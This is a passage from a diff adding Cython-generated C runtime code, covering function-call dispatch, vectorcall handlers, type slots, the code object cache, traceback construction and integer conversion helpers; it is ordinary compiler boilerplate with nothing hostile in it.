"%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__29); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + 